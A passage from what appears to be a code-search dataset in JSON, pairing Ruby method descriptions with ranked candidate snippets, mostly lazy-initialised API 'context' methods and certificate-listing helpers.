"score": "0.63396686",
"text": "def getCharAt(charAt, string)\n if isWholeNumber(charAt)\n charAt = charAt.to_i\n charAt = (charAt - 1)\n string[charAt]\n else\n raise(RuntimeError, \"The value for CharAt must be a whole number. The script received (#{charAt.class}) #{charAt}.\")\n end\nend",
"title": ""
}
] |
66e21a458b23cce0f48c359b9d8b7d7d | Generate an instance context for the instance, the context is capable of performing various actions. All instance actions are proxied to the context | [
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.0",
"text": "def context; end",
"title": ""
}
] | [
{
"docid": "d1758edd04b6374162470ca44c3f1250",
"score": "0.6871894",
"text": "def context\n unless @instance_context\n @instance_context = AuthTokenPromotionContext.new(@version )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "fcc8d61ebc1b17de32c67ea1c1957759",
"score": "0.68632644",
"text": "def context\n unless @instance_context\n @instance_context = AnnotationContext.new(@version , @params['call_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "2445273ba68a741137a17120388e6476",
"score": "0.6829915",
"text": "def context\n unless @instance_context\n @instance_context = PaymentContext.new(@version , @params['account_sid'], @params['call_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "5720fc377e95040adf525c63a86bddc5",
"score": "0.68152946",
"text": "def context\n unless @instance_context\n @instance_context = PaymentContext.new(\n @version,\n @params['account_sid'],\n @params['call_sid'],\n @params['sid'],\n )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "5720fc377e95040adf525c63a86bddc5",
"score": "0.68152946",
"text": "def context\n unless @instance_context\n @instance_context = PaymentContext.new(\n @version,\n @params['account_sid'],\n @params['call_sid'],\n @params['sid'],\n )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c240e207bef26e8e8e95b6ac0776d4ae",
"score": "0.6812421",
"text": "def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version, @params['sid'],)\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c240e207bef26e8e8e95b6ac0776d4ae",
"score": "0.6812421",
"text": "def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version, @params['sid'],)\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "581b620e95c9f928470f26296226dafe",
"score": "0.68051505",
"text": "def context\n unless @instance_context\n @instance_context = AddressContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "00769245de1e519e86322abe163d7082",
"score": "0.68051076",
"text": "def context\n unless @instance_context\n @instance_context = InteractionContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "85d278cf22dd4c8c9d6b4cdbe963ea62",
"score": "0.6789391",
"text": "def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "85d278cf22dd4c8c9d6b4cdbe963ea62",
"score": "0.6789391",
"text": "def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "2d7f6b813bd8949cecb0f0ceeb7339e3",
"score": "0.67869204",
"text": "def context\n unless @instance_context\n @instance_context = AnnotationContext.new(@version, @params['call_sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "dc2dc1b5adbaabb7d7a493527c267322",
"score": "0.6786812",
"text": "def context\n unless @instance_context\n @instance_context = AddressContext.new(@version, @params['account_sid'], @params['sid'],)\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c4c69a584ea5c39267e29996ebb5ba36",
"score": "0.6768594",
"text": "def context\n unless @instance_context\n @instance_context = ServiceContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "cf9055a818811a49657f2e0650199480",
"score": "0.676732",
"text": "def context\n unless @instance_context\n @instance_context = UsageContext.new(@version , @params['sim_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c056295e67397fe07982a9654ff37dda",
"score": "0.67370147",
"text": "def context\n unless @instance_context\n @instance_context = DefaultsContext.new(@version , @params['assistant_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "33b3cf48e7386aa4e2d41052e1295428",
"score": "0.6721106",
"text": "def context\n unless @instance_context\n @instance_context = BusinessContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "7a0ea2c7b2174bfdcc58ab9ba4d85bec",
"score": "0.6712639",
"text": "def context\n unless @instance_context\n @instance_context = TriggerContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "02a67fbcca126532f5180946119737d1",
"score": "0.67101777",
"text": "def context\n unless @instance_context\n @instance_context = ArchivedCallContext.new(@version , @params['date'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "578c079cb3a8b285f7e41c10ef8a4bee",
"score": "0.6683156",
"text": "def context\n self.class.new(self)\n end",
"title": ""
},
{
"docid": "b87b17ded93e686370efbafc4d9090b1",
"score": "0.66719323",
"text": "def context\n unless @instance_context\n @instance_context = CallContext.new(@version, @params['account_sid'], @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "b8b99dd2fc7250138c9a0b7d7bfc51d3",
"score": "0.66641396",
"text": "def context\n unless @instance_context\n @instance_context = BindingContext.new(@version , @params['service_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "00c2e08b0bb33203cb2772bc8178ad13",
"score": "0.6640503",
"text": "def context\n unless @instance_context\n @instance_context = CurrentCallContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "4ac1b38a2bd5fb6a381531ac78b0db49",
"score": "0.661058",
"text": "def context\n unless @instance_context\n @instance_context = InsightsSessionContext.new(@version )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "34285599f02aa86edf5ea97c0772156d",
"score": "0.6598061",
"text": "def context\n unless @instance_context\n @instance_context = VerificationContext.new(@version , @params['service_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "903034f7f61bb203e67b8597412ff376",
"score": "0.6583486",
"text": "def context\n unless @instance_context\n @instance_context = SessionContext.new(@version , @params['service_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "131e24ce83d82272d969c80474876829",
"score": "0.65720963",
"text": "def context\n unless @instance_context\n @instance_context = AddressConfigurationContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "3088cdfc98ea1d0578658d808d351412",
"score": "0.6570465",
"text": "def build_context\n InterceptionContext.new(@interceptors)\n end",
"title": ""
},
{
"docid": "e09d899413ef55488ab67dff6536e964",
"score": "0.6568277",
"text": "def context\n unless @instance_context\n @instance_context = FlowRevisionContext.new(@version , @params['sid'], @params['revision'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "8e24d595c9f1589400f46ea71239f6fe",
"score": "0.65678656",
"text": "def context\n unless @instance_context\n @instance_context = CompositionHookContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "9af871686ca12996803b30d65f00cba2",
"score": "0.65605766",
"text": "def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c220f208ac606837fe07211d6d12ba89",
"score": "0.65598965",
"text": "def context\n unless @instance_context\n @instance_context = OpenidDiscoveryContext.new(@version )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "d99c99033983aa98cb0d6164c4ebd1bb",
"score": "0.65575325",
"text": "def context\n unless @instance_context\n @instance_context = SchemaContext.new(@version , @params['id'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "cc5f98b99bcde4453416f11c018824c7",
"score": "0.6547554",
"text": "def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "cc5f98b99bcde4453416f11c018824c7",
"score": "0.6547554",
"text": "def context\n unless @instance_context\n @instance_context = ConfigurationContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "0f0c25021a49e9ae47d32e5f03d027fa",
"score": "0.65415525",
"text": "def context\n unless @instance_context\n @instance_context = UserInfoContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "15a735aba07c6128d769098c18bf609e",
"score": "0.6540118",
"text": "def in_context(*args, &blk)\n context.instance_exec(*args, &blk)\n end",
"title": ""
},
{
"docid": "608cd0811ab01a8105acfcdd2478cb49",
"score": "0.65385884",
"text": "def context\n unless @instance_context\n @instance_context = OpenidDiscoveryContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "dd5a2ff5b0629944c83e706c23c19589",
"score": "0.6533809",
"text": "def context\n unless @instance_context\n @instance_context = AccountContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "83c8ca6b6ae353d3f0986c63fa0099ff",
"score": "0.6530725",
"text": "def context\n unless @instance_context\n @instance_context = VerificationContext.new(@version, @params['service_sid'], @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "83c8ca6b6ae353d3f0986c63fa0099ff",
"score": "0.6530725",
"text": "def context\n unless @instance_context\n @instance_context = VerificationContext.new(@version, @params['service_sid'], @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "43fc25be3834f897b57dbd9586cdeee3",
"score": "0.6529874",
"text": "def context\n unless @instance_context\n @instance_context = UserContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "43fc25be3834f897b57dbd9586cdeee3",
"score": "0.6529874",
"text": "def context\n unless @instance_context\n @instance_context = UserContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "64758baea60be81584b27fc4b4232fdd",
"score": "0.64991",
"text": "def context\n unless @instance_context\n @instance_context = UserContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "48d66bbc3993fbc9203839b0095c7346",
"score": "0.6480533",
"text": "def context\n unless @instance_context\n @instance_context = EngagementContextContext.new(\n @version,\n @params['flow_sid'],\n @params['engagement_sid'],\n )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "a6a28eceb83f842cfdb47fb859dcd2ea",
"score": "0.6469857",
"text": "def context\n unless @instance_context\n @instance_context = FlexFlowContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "b41e5f14fc36a0de53c06b7203915550",
"score": "0.6457765",
"text": "def context\n unless @instance_context\n @instance_context = VerificationAttemptContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "bfc2da9ae4d8ca9dadcca48005b3a54d",
"score": "0.6454473",
"text": "def context\n unless @instance_context\n @instance_context = AssessmentsContext.new(@version, @params['assessment_id'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "d5c43c14da62f029d7656f29c7fbacd7",
"score": "0.6450809",
"text": "def context\n unless @instance_context\n @instance_context = ContentContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "649e4b17ee907276135ec1c7565eb283",
"score": "0.6448604",
"text": "def context\n unless @instance_context\n @instance_context = MessageContext.new(@version , @params['account_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "ef3c00c5b2cff11ac25e0c5ae83190b9",
"score": "0.6436881",
"text": "def context\n unless @instance_context\n @instance_context = FlowTestUserContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "47e3b37a0a36a0fd9122ffd2b1af8767",
"score": "0.6429388",
"text": "def context\n unless @instance_context\n @instance_context = ImpressionsRateContext.new(@version, @params['business_sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "0d5e07595aece640a960555df93ca04f",
"score": "0.63745755",
"text": "def context\n unless @instance_context\n @instance_context = UsAppToPersonContext.new(@version , @params['messaging_service_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "45af4642648adf031b1daec173210b5b",
"score": "0.63652766",
"text": "def context\n unless @instance_context\n @instance_context = DeploymentContext.new(@version , @params['fleet_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "50e376d8169750729d667844e83fb5df",
"score": "0.6359984",
"text": "def context\n unless @instance_context\n @instance_context = CompositionContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "8175ea272187ea174e767da5f2fffa3e",
"score": "0.63521093",
"text": "def initialize context\n @context = context\n end",
"title": ""
},
{
"docid": "46273cf4bdbaa5e7a602e7c7fe2707c9",
"score": "0.63508445",
"text": "def Context(object); end",
"title": ""
},
{
"docid": "241a1d72fd5c22e3a14c7902d2642560",
"score": "0.6348875",
"text": "def context\n unless @instance_context\n @instance_context = ChallengeContext.new(@version , @params['service_sid'], @params['identity'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "d77d9f7a42a584323bc0279a1ceb13f7",
"score": "0.6348709",
"text": "def context\n unless @instance_context\n @instance_context = ApprovalFetchContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c4fd7d27abf2f69158c949d6d7c9c27e",
"score": "0.6335909",
"text": "def context(entity)\n @context_factory.new(entity,@distance,self)\n end",
"title": ""
},
{
"docid": "2aea04d4971256233b697837f7472c17",
"score": "0.6328754",
"text": "def initialize context\n @context = context\n end",
"title": ""
},
{
"docid": "de99a84ed76c706ad4e54648d774a47f",
"score": "0.6323376",
"text": "def context\n unless @instance_context\n @instance_context = WebhookContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "3ba0f913fd4cbf8e4bb78e2606de5520",
"score": "0.6322338",
"text": "def context\n unless @instance_context\n @instance_context = BuildStatusContext.new(@version , @params['service_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "45f3f48bff38aedc381356f174490bb2",
"score": "0.6320355",
"text": "def context\n unless @instance_context\n @instance_context = WebhookContext.new(@version )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "92e2bfcc91c6b49ce9b1563752573af8",
"score": "0.6305338",
"text": "def context\n unless @instance_context\n @instance_context = ChallengeContext.new(\n @version,\n @params['service_sid'],\n @params['identity'],\n @params['factor_sid'],\n @params['sid'],\n )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "02cab14eba99becc2af252db0a57529c",
"score": "0.63042486",
"text": "def context\n unless @instance_context\n @instance_context = AssessmentsContext.new(@version , @params['assessment_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "6da27fdafa225afd23e30b36581969e5",
"score": "0.6302663",
"text": "def context\n return @target if @target.is_a?(Module) and not @options[:class_methods]\n\n class << @target\n self\n end\n end",
"title": ""
},
{
"docid": "6da27fdafa225afd23e30b36581969e5",
"score": "0.6302663",
"text": "def context\n return @target if @target.is_a?(Module) and not @options[:class_methods]\n\n class << @target\n self\n end\n end",
"title": ""
},
{
"docid": "7de3d6a6480a685752a08089857fe236",
"score": "0.629561",
"text": "def context\n unless @instance_context\n @instance_context = FunctionVersionContentContext.new(@version , @params['service_sid'], @params['function_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "66fee58f5205058224159cd0cb3232b4",
"score": "0.6270371",
"text": "def context\n @context ||= InitialContext.new( properties )\n end",
"title": ""
},
{
"docid": "22b649bbceefa94b6d70a51474e392e2",
"score": "0.6269818",
"text": "def context\n @context ||= create_context\n end",
"title": ""
},
{
"docid": "0ef613ead2e95021a4fc43e752869f60",
"score": "0.6263613",
"text": "def context\n unless @instance_context\n @instance_context = NumberContext.new(@version , @params['destination_number'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "5d292ebd43b1ccb17e576233caa8620d",
"score": "0.62575567",
"text": "def context\n @context ||= Context.new(self)\n end",
"title": ""
},
{
"docid": "d71f61c2041d12695e7b72ad7402d98e",
"score": "0.62555313",
"text": "def context\n unless @instance_context\n @instance_context = BrandContext.new(@version, @params['business_sid'], @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "baba9df4d5a5f598f56fad39b43d5ff5",
"score": "0.6248972",
"text": "def context\n unless @instance_context\n @instance_context = ExportContext.new(@version , @params['resource_type'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c5a84eb678b10de70961ab4b36669309",
"score": "0.6245866",
"text": "def method_missing(method, *args, &block)\n @context.public_send(method, *args, &block)\n end",
"title": ""
},
{
"docid": "80140937adaf7605229391e5b5f5869c",
"score": "0.62382895",
"text": "def context\n unless @instance_context\n @instance_context = AccessTokenContext.new(@version , @params['service_sid'], @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "9674e4a36210c9a378b746a4ac70e401",
"score": "0.6237742",
"text": "def context\n unless @instance_context\n @instance_context = HostedNumberOrderContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "b9260c3a292f7c62186c1bd45a86979f",
"score": "0.6236172",
"text": "def context\n unless @instance_context\n @instance_context = NumberContext.new(@version , @params['number'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "a96c9d530f6e47d7b200f5fe3deca275",
"score": "0.6233493",
"text": "def context\n unless @instance_context\n @instance_context = SafelistContext.new(@version , @params['phone_number'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "eed4a945503e79452f822d0616145ba6",
"score": "0.6209724",
"text": "def context\n unless @instance_context\n @instance_context = InsightsUserRolesContext.new(@version )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "82d9d128252b846a3d3d3ce1fefc7c6a",
"score": "0.6201323",
"text": "def context\n unless @instance_context\n @instance_context = DeactivationsContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "9ef00fdf1d0781f3732e0bb79acd7e24",
"score": "0.6197985",
"text": "def context\n unless @instance_context\n @instance_context = CallSummaryContext.new(@version, @params['call_sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "a11b4951823ec11fc676569ee161a582",
"score": "0.61971056",
"text": "def context\n unless @instance_context\n @instance_context = FormContext.new(@version, @params['form_type'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "ba7918d297ea67f1d536c93ce6595c30",
"score": "0.6186394",
"text": "def context\n @context ||= Context.new(self)\n end",
"title": ""
},
{
"docid": "ba7918d297ea67f1d536c93ce6595c30",
"score": "0.6186394",
"text": "def context\n @context ||= Context.new(self)\n end",
"title": ""
},
{
"docid": "ba7918d297ea67f1d536c93ce6595c30",
"score": "0.6186394",
"text": "def context\n @context ||= Context.new(self)\n end",
"title": ""
},
{
"docid": "77ba6358cff02603c0658e61c808df16",
"score": "0.6185342",
"text": "def context\n unless @instance_context\n @instance_context = JobContext.new(@version , @params['job_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "73257a418f1c8cf5bb446836ca678840",
"score": "0.61847216",
"text": "def context\n unless @instance_context\n @instance_context = MediaProcessorContext.new(@version, @params['sid'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "1366d218a7f9809533d248a88876974d",
"score": "0.61723137",
"text": "def context\n extract_ids\n apply_builders\n @ctx\n end",
"title": ""
},
{
"docid": "810495a9282a5056ae8427d9178abe60",
"score": "0.61683565",
"text": "def initialize(context, options = {})\n @context = context\n @context << self\n @options = options\n setup\n end",
"title": ""
},
{
"docid": "ed5fc4f6b8abf10f5ea1dd50d08630dc",
"score": "0.61618596",
"text": "def context\n unless @instance_context\n @instance_context = DomainConfigContext.new(@version , @params['domain_sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "c22d5c9ef51f1d7d1250a9757e6f1253",
"score": "0.6160789",
"text": "def context\n unless @instance_context\n @instance_context = PhoneNumberContext.new(@version , @params['phone_number'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "33fbe17ec7b4c5023e8bcb38ea7685e9",
"score": "0.61597556",
"text": "def context\n unless @instance_context\n @instance_context = OauthContext.new(@version, )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "414f54e4fb99a862617f49daf0f7766e",
"score": "0.61488277",
"text": "def context\n unless @instance_context\n @instance_context = PhoneNumberContext.new(@version, @params['phone_number'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "414f54e4fb99a862617f49daf0f7766e",
"score": "0.61488277",
"text": "def context\n unless @instance_context\n @instance_context = PhoneNumberContext.new(@version, @params['phone_number'], )\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "2f38ce8c0986f8a6f04234aa08d80f93",
"score": "0.61426234",
"text": "def context\n unless @instance_context\n @instance_context = TollfreeVerificationContext.new(@version , @params['sid'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "56028d01fd3212f95d0a406cad6dcba2",
"score": "0.61424047",
"text": "def context\n self.class.context\n end",
"title": ""
},
{
"docid": "14b53b35f6d7ef9a21f1edfdfcb1b7f5",
"score": "0.6136024",
"text": "def context\n unless @instance_context\n @instance_context = PhoneNumberContext.new(@version, @params['phone_number'],)\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "adcf99ccfd064a0e96428363c9ccc1ed",
"score": "0.6119371",
"text": "def context\n unless @instance_context\n @instance_context = FormContext.new(@version , @params['form_type'])\n end\n @instance_context\n end",
"title": ""
},
{
"docid": "8f73bd0f7b871759dea732b538d4caa8",
"score": "0.61156446",
"text": "def context\n unless @instance_context\n @instance_context = WorkflowStatisticsContext.new(@version , @params['workspace_sid'], @params['workflow_sid'])\n end\n @instance_context\n end",
"title": ""
}
] |
caa4a747b575b3a1e0f6c8a9ab063f41 | List certificates List all certificates. | [
{
"docid": "eea347e5c5667de781ba2db397d106f8",
"score": "0.57432425",
"text": "def list_tls_bulk_certs(opts = {})\n data, _status_code, _headers = list_tls_bulk_certs_with_http_info(opts)\n data\n end",
"title": ""
}
] | [
{
"docid": "62a340fdc3132f490873da875da0a4da",
"score": "0.8116797",
"text": "def list\n cert_list(certstore_handler)\n end",
"title": ""
},
{
"docid": "e33d77a7c82f926a92cdfff3a5d3dfe2",
"score": "0.79025644",
"text": "def list\n Puppet::SSL::Certificate.search(\"*\").collect { |c| c.name }\n end",
"title": ""
},
{
"docid": "f1c3e9b6d633c78ac1848b0f0a60d445",
"score": "0.74671125",
"text": "def certificates(options = {})\n headers = extract_headers!(options)\n json = client.list(\"/v1/auth/cert/certs\", options, headers)\n return Secret.decode(json).data[:keys] || []\n rescue HTTPError => e\n return [] if e.code == 404\n raise\n end",
"title": ""
},
{
"docid": "279a16828eadf87d67e1525e083c29b7",
"score": "0.7303928",
"text": "def certificate_list\n certificates = self.certs #[0].certificate.name\n list = certificates.collect! {|x| x.certificate.name + \"; \" }\n list.join()\n end",
"title": ""
},
{
"docid": "f580e9bc1afd3ff9bdfcb57c5e8a88b1",
"score": "0.719973",
"text": "def certificate_list\n return @certificate_list\n end",
"title": ""
},
{
"docid": "662b57e674e5125ae2779dacae331dbb",
"score": "0.7026692",
"text": "def index\n @certificates = Certificate.all\n end",
"title": ""
},
{
"docid": "662b57e674e5125ae2779dacae331dbb",
"score": "0.7026692",
"text": "def index\n @certificates = Certificate.all\n end",
"title": ""
},
{
"docid": "6e8d8650b1f5afd99ca3a929ac0f7b12",
"score": "0.7005114",
"text": "def index\n @certificate_authorities = CertificateAuthority.all\n @certificate_authorities.each { |ca| ca.collect_certificates }\n end",
"title": ""
},
{
"docid": "c46614bf97c846c3a055724bd0114df9",
"score": "0.69650555",
"text": "def index\n @certs = Cert.all\n end",
"title": ""
},
{
"docid": "23965d683fc0b0eeee477ccdc0c10c20",
"score": "0.69162506",
"text": "def certificate_list=(value)\n @certificate_list = value\n end",
"title": ""
},
{
"docid": "22c85deb7c4a60a1d2130d5215f9870a",
"score": "0.67401844",
"text": "def list_tls_certificates(opts = {})\n data, _status_code, _headers = list_tls_certificates_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "730f11791d3d4144824d9cd9acb02e80",
"score": "0.66882986",
"text": "def index\n @certifications = Certification.all\n end",
"title": ""
},
{
"docid": "fdaa8cf286adce673e2f6db02bbf3eb1",
"score": "0.6675539",
"text": "def list_server_certificates(options = {})\n request({\n 'Action' => 'ListServerCertificates',\n :parser => Fog::Parsers::AWS::IAM::ListServerCertificates.new\n }.merge!(options))\n end",
"title": ""
},
{
"docid": "59ee4cdd6551d3f655be6173cf74ec86",
"score": "0.66167927",
"text": "def certs\n request :get, '/certs'\n end",
"title": ""
},
{
"docid": "44826184717a87d820487f6225ceae2c",
"score": "0.65509284",
"text": "def index\n @course_certificates = CourseCertificate.all\n end",
"title": ""
},
{
"docid": "7ca208a026782a8919e0cfc1dc37ca96",
"score": "0.65199894",
"text": "def get_certificates(opts = {})\n data, _status_code, _headers = get_certificates_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "5e35d69d6cd8338b6336d492e0bf3ae0",
"score": "0.6454291",
"text": "def list_signing_certificates(options = {})\n request({\n 'Action' => 'ListSigningCertificates',\n :parser => Fog::Parsers::AWS::IAM::ListSigningCertificates.new\n }.merge!(options))\n end",
"title": ""
},
{
"docid": "52c5e6c32802a064f89153fe161517b0",
"score": "0.6336769",
"text": "def get_all_ssl_certs(gear)\n args = build_base_gear_args(gear)\n result = execute_direct(@@C_CONTROLLER, 'ssl-certs', args)\n JSON.parse(parse_result(result).resultIO.string)\n end",
"title": ""
},
{
"docid": "7b8cc009d112254c4e51a3abc859a545",
"score": "0.6319176",
"text": "def index\n @certificate_requests = CertificateRequest.all\n end",
"title": ""
},
{
"docid": "743f2cc64f1bdfa1ac0172d6744bbd95",
"score": "0.6295668",
"text": "def certificates\n currently_owned(Transaction::IS_CERTIFICATE)\n end",
"title": ""
},
{
"docid": "aa7c877ba5f8db1876eed95310861900",
"score": "0.6288123",
"text": "def index\n @certificate_rules = CertificateRule.all\n end",
"title": ""
},
{
"docid": "2be705ca42910d3768c55b9bf6d27bf6",
"score": "0.6287299",
"text": "def index\n @aws_certificates = AwsCertificate.all\n end",
"title": ""
},
{
"docid": "689e9a86f22f289bf3d385295cda1648",
"score": "0.62227076",
"text": "def list opts = {}\n get_with_size_and_position('ssl/v1', opts)\n end",
"title": ""
},
{
"docid": "4fd368d47df76ce0383829a665ccd65a",
"score": "0.61232513",
"text": "def list_tls_certificates_0(opts = {})\n data, _status_code, _headers = list_tls_certificates_0_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "21734a63bb4b94bb6abea26ea3580d92",
"score": "0.6078084",
"text": "def index\n @certs = Cert.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @certs }\n end\n end",
"title": ""
},
{
"docid": "e1a41e2cc6f30f1926329034b22b1c33",
"score": "0.6042937",
"text": "def index\n if params[:s]\n @certs = Cert.where('name = ?', params[:s])\n else\n @certs = Cert.all\n end\n end",
"title": ""
},
{
"docid": "e724fc48530f4a557a3a08a68c431198",
"score": "0.6016367",
"text": "def list\n\trequire_relative '../lib/localhost'\n\t\n\tterminal = self.terminal\n\t\n\tLocalhost::Authority.list do |authority|\n\t\tterminal.print(\n\t\t\t:hostname, authority.hostname, \" \",\n\t\t\t:name, authority.name, \"\\n\", :reset,\n\t\t\t\"\\tCertificate Path: \", authority.certificate_path, \"\\n\",\n\t\t\t\"\\t Key Path: \", authority.key_path, \"\\n\",\n\t\t\t\"\\t Expires: \", authority.certificate.not_after, \"\\n\",\n\t\t\t:reset, \"\\n\"\n\t\t)\n\tend\nend",
"title": ""
},
{
"docid": "bc98ff2e683c566b944791f94ec9cba1",
"score": "0.59837216",
"text": "def index\n @concerts = Concert.all\n end",
"title": ""
},
{
"docid": "bc98ff2e683c566b944791f94ec9cba1",
"score": "0.59837216",
"text": "def index\n @concerts = Concert.all\n end",
"title": ""
},
{
"docid": "bc98ff2e683c566b944791f94ec9cba1",
"score": "0.59837216",
"text": "def index\n @concerts = Concert.all\n end",
"title": ""
},
{
"docid": "bc98ff2e683c566b944791f94ec9cba1",
"score": "0.59837216",
"text": "def index\n @concerts = Concert.all\n end",
"title": ""
},
{
"docid": "9dea389aec0288833d0cb6c49276c6a4",
"score": "0.5954597",
"text": "def certificates\n attestation_response.certificate_chain[0..-2]\n end",
"title": ""
},
{
"docid": "a81b336927e27d6e3ee15758bc47c89b",
"score": "0.5906122",
"text": "def certs\n unless @@certs\n pattern = /-{5}BEGIN CERTIFICATE-{5}\\n.*?-{5}END CERTIFICATE-{5}\\n/m\n dir = File.join(VINES_ROOT, 'conf', 'certs')\n certs = Dir[File.join(dir, '*.crt')].map {|f| File.read(f) }\n certs = certs.map {|c| c.scan(pattern) }.flatten\n certs.map! {|c| OpenSSL::X509::Certificate.new(c) }\n @@certs = certs.reject {|c| c.not_after < Time.now }\n end\n @@certs\n end",
"title": ""
},
{
"docid": "e4557a00f861bdb77aa7c4a04fd87dbb",
"score": "0.58774984",
"text": "def certificates_for(company)\n certificates.select do |cert|\n cert.company.equal? company\n end\n end",
"title": ""
},
{
"docid": "5e25d23bb0935d06c7a0598651869bea",
"score": "0.58446366",
"text": "def index\n @certtests = Certtest.all\n end",
"title": ""
},
{
"docid": "bd6a8e72cd7f0bf45ee7899e62b60aa4",
"score": "0.5833866",
"text": "def index\n @certificates = Certificate.all\n @nome_completo = Devise::LDAP::Adapter.get_ldap_param(current_user.username,\"cn\").first.force_encoding(\"utf-8\")\n @q = Certificate.ransack(params[:q] || {\"name_cont\"=>current_user.username})\n @certificates = @q.result.order(:name).page(params[:page]).per(15)\n end",
"title": ""
},
{
"docid": "cd1a0ba9737549047b0f54b6fff3b329",
"score": "0.58322924",
"text": "def listcrts(options = {})\n server.force_response_type = :ssl\n result = server.perform_request('listcrts', options.merge(:response_key => 'crt'))\n end",
"title": ""
},
{
